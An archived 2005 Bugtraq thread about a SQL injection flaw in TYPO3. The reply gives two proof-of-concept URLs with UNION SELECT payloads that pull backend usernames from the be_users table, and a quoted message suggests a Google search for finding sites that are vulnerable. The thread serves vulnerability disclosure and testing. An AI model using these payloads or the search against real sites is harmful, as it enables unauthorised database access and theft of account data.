bugtraq - RE: TYPO3 SQL Injection vunerabilitie

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <1109898259_164496@S2.cableone.net>
Date: Thu, 3 Mar 2005 18:54:04 -0600
From: "GulfTech Security Research" <security@...ftech.org>
To: <bugtraq@...urityfocus.com>
Subject: RE: TYPO3 SQL Injection vunerabilitie

Here is a POC for the typo3 issue to test if you are vulnerable. This
doesn't pull the password, just the username :)

http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
rname%20FROM%20be_users%20WHERE%20uid=1/*

Also, it's easy to pull lists of data from the database using this
vulnerability since the query results are looped and displayed. Take the
following example. It would list usernames as categories

http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
rname,null%20FROM%20be_users%20WHERE%201/*

James

-----Original Message-----
From: Sebastian Wolfgarten [mailto:sebastian@...fgarten.com] 
Sent: Thursday, March 03, 2005 5:07 PM
To: bugtraq@...urityfocus.com
Subject: Re: TYPO3 SQL Injection vunerabilitie

Hi Dennis,

I am pretty sure Fabian (Neonomicus) meant *every link* (or site) generated
by 
Typo3, didn't he? For instance if you search google for 
"inurl:action=getviewcategory" I am pretty sure you will understand what he 
meant (or am I wrong here)?

@Fabian (Neonomicus): Could you please provide more details about the 
vulnerability you've discoveredl? By the way did you give the Typo3 guys 
*enough* time to respond???

All the best,
Sebastian

-- 
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005